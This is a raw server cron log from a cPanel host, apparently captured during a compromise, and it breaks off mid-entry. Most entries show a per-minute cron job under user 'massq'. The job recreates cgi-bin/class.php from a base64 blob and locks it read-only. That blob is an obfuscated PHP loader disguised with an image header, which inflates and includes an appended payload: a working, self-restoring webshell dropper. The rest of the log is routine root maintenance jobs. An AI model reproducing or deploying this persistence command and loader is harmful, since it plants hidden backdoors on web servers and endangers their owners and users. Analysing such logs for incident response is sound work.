Apr 13 00:35:01 server CROND[2420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:35:01 server CROND[2419]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 13 00:36:01 server CROND[2537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:37:01 server CROND[2599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:38:01 server CROND[2661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:39:01 server CROND[2726]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 13 00:39:01 server CROND[2727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:40:01 server CROND[2790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:40:01 server CROND[2791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:40:01 server CROND[2793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 13 00:40:01 server CROND[2794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:41:01 server CROND[3007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:42:01 server CROND[3071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:42:01 server CROND[3072]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 13 00:43:01 server CROND[3133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:44:01 server CROND[3191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:45:01 server CROND[3269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 13 00:45:01 server CROND[3270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:45:01 server CROND[3271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 13 00:46:01 server CROND[3388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:47:01 server CROND[3547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 13 00:48:01 server CROND[3613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1